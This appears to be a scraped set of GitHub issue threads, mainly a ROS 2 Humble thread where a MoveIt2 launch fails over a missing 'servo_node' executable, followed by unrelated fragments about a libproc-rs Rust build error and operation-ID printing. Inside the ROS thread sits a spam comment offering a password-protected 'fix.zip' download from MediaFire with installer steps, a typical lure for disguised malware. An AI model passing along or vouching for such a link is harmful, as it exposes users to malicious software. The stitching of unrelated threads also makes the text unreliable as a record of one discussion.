I am using a source version of MOVE IT https://github.com/moveit/moveit2_tutorials
If source, which branch?
I am using a binary version of ur_robot_driver according to https://docs.ros.org/en/ros2_packages/rolling/api/ur_robot_driver/installation/installation.html, since I cannot use the source version due to this issue https://github.com/UniversalRobots/Universal_Robots_ROS2_Driver/issues/1062
Which RMW (Fast DDS or Cyclone DDS)? Humble or Rolling should be using Cyclone.

Steps to reproduce
In a first shell I launch :
cd ~/ws_moveit2/
source ~/ws_moveit2/install/setup.bash
source /opt/ros/humble/setup.bash
ros2 launch ur_robot_driver ur_control.launch.py ur_type:=ur5e robot_ip:=<IP_ADDRESS> launch_rviz:=false initial_joint_controller:=joint_trajectory_controller
Also launch URSIM. After some secconds the shell answer is :
[ur_ros2_control_node-1] [INFO] [1724661734.114233192] [UR_Client_Library:]: Robot connected to reverse interface. Ready to receive control commands.
In a seccond shell
source /opt/ros/humble/setup.bash
source ~/ws_moveit2/install/setup.bash
ros2 launch ur_moveit_config ur_moveit.launch.py ur_type:=ur5e launch_rviz:=true
This is the error:
[INFO] [launch]: All log files can be found below /home/pedro/.ros/log/2024-08-26-10-55-04-926688-pedro-B650-AORUS-ELITE-AX-35224
[INFO] [launch]: Default logging verbosity is set to INFO
[ERROR] [launch]: Caught exception in launch (see debug for traceback): executable 'servo_node' not found on the libexec directory '/home/pedro/ws_moveit2/install/moveit_servo/lib/moveit_servo'
this is the content of the directory:
ls /home/pedro/ws_moveit2/install/moveit_servo/lib/moveit_servo
fake_command_publisher  servo_node_main  servo_pose_tracking_demo
I think the program is searching for a servo_node executable wich is the same has servo_node_main
Expected behaviour
Tell us what should happen
Get the robot ready to receive commands.
Actual behaviour
Tell us what happens instead
the controller for moveit stops
Backtrace or Console output
ERROR] [launch]: Caught exception in launch (see debug for traceback): executable 'servo_node' not found on the libexec directory '/home/pedro/ws_moveit2/install/moveit_servo/lib/moveit_servo'*
Use gist.github.com to copy-paste the console output or segfault backtrace using gdb.
I hope you can help.
Thanks

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I think in Humble, this executable is called servo_node_main instead of servo_node.
If you look at the Humble branch of the Universal_Robots_ROS2_Driver repo, they also have it this way: https://github.com/UniversalRobots/Universal_Robots_ROS2_Driver/blob/humble/ur_moveit_config/launch/ur_moveit.launch.py#L246
So I think you might be mismatching ROS distros, and switching to the Humble version of the UR driver might be the best way to go?

Thanks a lot Sebastián
In fact, In fact, copying and pasting the file, renaming it with no '_main' worked.
But I am checking the version of the ur_moveit (because this could be the main cause of other troubles), and you are right. My ur_moveit.launch.py is asking for moveit_servo and not moveit_servo_main
Servo node for realtime control
servo_yaml = load_yaml("ur_moveit_config", "config/ur_servo.yaml")
servo_params = {"moveit_servo": servo_yaml}
servo_node = Node(
    **package="moveit_servo",**
    condition=IfCondition(launch_servo),
    executable="servo_node",
    parameters=[
        servo_params,
        robot_description,
        robot_description_semantic,
    ],
    output="screen",
)

Also I checked the package.xml and I cannot find any information about the distro

ur_moveit_config
2.4.4

     An example package with MoveIt2 configurations for UR robots.

Denis Stogl
Felix Exner
Robert Wilbrandt
Apache2.0
Lovro Ivanov
Andy Zelenak
<buildtool_depend>ament_cmake</buildtool_depend>
<buildtool_depend>ament_cmake_python</buildtool_depend>
<exec_depend>launch</exec_depend>
<exec_depend>launch_ros</exec_depend>
<exec_depend>moveit_kinematics</exec_depend>
<exec_depend>moveit_planners_ompl</exec_depend>
<exec_depend>moveit_ros_move_group</exec_depend>
<exec_depend>moveit_ros_visualization</exec_depend>
<exec_depend>moveit_servo</exec_depend>
<exec_depend>moveit_simple_controller_manager</exec_depend>
<exec_depend>rviz2</exec_depend>
<exec_depend>ur_description</exec_depend>
<exec_depend>urdf</exec_depend>
<exec_depend>warehouse_ros_sqlite</exec_depend>
<exec_depend>xacro</exec_depend>

ament_cmake

Maybe the best solution could be start another workspace clean.

It may also be that you have a binary install of the ur_moveit_config package, which is in conflict with your source build?
You can check with apt list --installed | grep ur_moveit_config
And if you want to remove it, sudo apt remove ros-humble-ur-moveit-config (and replace remove with install otherwise)

Thanks again
According to the instruccion apt list --installed | grep ur_moveit_config  moveit is not installaed as binary, since the result is empty.
Using the instruccion ros2 pkg prefix ur_moveit_config and ros2 pkg prefix ur_robot_driver
we can find
ur_robot_driver --> /opt/ros/humble
ur_moveit_config --> /home/pedro/install/ur_moveit_config

I will try now the binary version of moveit-config.

Great to hear!


Stable and Nightly fail due to unaligned access warning

error: reference to packed field is unaligned
 --> /Users/runner/work/libproc-rs/libproc-rs/target/debug/build/libproc-16321469bc40d5c5/out/osx_libproc_bindings.rs:3:673744
  |
3 | ...ze))) ; assert_eq ! (unsafe { & (* (:: std :: ptr :: null :: < proc_exitreasoninfo > ())) . eri_kcd_buf as * const _ as usize } , 24us...
  |                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  |
  = warning: this was previously accepted by the compiler but is being phased out; it will become a hard error in a future release!
  = note: for more information, see issue #82523 <https://github.com/rust-lang/rust/issues/82523>
  = note: fields of packed structs are not properly aligned, and creating a misaligned reference is undefined behavior (even if that reference is never dereferenced)
  = help: copy the field contents to a local variable, or replace the reference with a raw pointer and use `read_unaligned`/`write_unaligned` (loads and stores via `*p` must be properly aligned even when using raw pointers)

error: could not compile `libproc` due to 110 previous errors
Error: Process completed with exit code 101.

Disable bindgen generation of code for Macos, when running build on Linux, so this warning is restricted to Macos at least.

See if any change in newer versions of bindgen


Print operation ID

I've tested deploy, blue-green deploy and undeploy. I'll test abort as well, but I doubt it'll print anything considering that the progress message is saved in StartProcessListener.

Confirmed: The message is not printed in case or retry, abort or resume.